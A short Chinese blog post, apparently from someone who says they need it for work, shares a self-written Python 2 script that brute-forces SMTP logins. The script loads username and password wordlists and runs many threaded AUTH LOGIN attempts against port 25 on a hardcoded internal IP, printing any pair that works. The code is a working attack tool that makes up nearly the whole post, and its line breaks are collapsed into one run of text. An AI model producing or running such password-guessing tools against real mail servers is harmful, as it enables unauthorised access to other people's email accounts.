smtp暴力猜测脚本

工作中要用到smtp暴力猜测工具，找了很多资源都不支持smtp协议，好不容易找到一个也是python写的，但是因为太强大了不会用。

所以只好自己写了一个。平时不怎么写代码，很多地方处理的都不是很好，就作为一个参考吧。

import socketimport base64import threadingimport timedef login(user,passwd,host):    user = user[0:-1]    passwd = passwd[0:-1]    print "begin guessing using username %s and password %s"%(user,passwd)    new_soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    user64 = base64.encodestring(user)[0:-1]+'\r\n'    passwd64 = base64.encodestring(passwd)[0:-1]+'\r\n'    try:        new_soc.connect((host,25))        new_soc.recv(1024)        new_soc.sendall("EHLO computer\r\n")        new_soc.recv(1024)        new_soc.sendall('AUTH LOGIN\r\n')        new_soc.recv(1024)        new_soc.sendall(user64)        new_soc.recv(1024)        new_soc.sendall(passwd64)        result = new_soc.recv(1024)    except:        print "socket error"        return 0    if result.find(" successful") == -1:        return 0    else:        print "congratulation! usr %s password %s"%(user,passwd)        return 1def start_guess((user_name_file,user_pass_file,host)):    count = 0    try:        user_file = open(user_name_file,'r')    except:        print "unable to open "+user_name_file    try:        pass_file = open(user_pass_file)    except:        print "unable to open "+user_pass_file    for usr in user_file.readlines():        pass_file.seek(0)        for passwd in pass_file.readlines():            while True:                if threading.activeCount()<10:                    threading.Thread(target=login,args=(usr,passwd,host)).start()                    break;                else:                    time.sleep(1) if __name__ == "__main__":    start_guess(('name','pass','10.14.69.203'))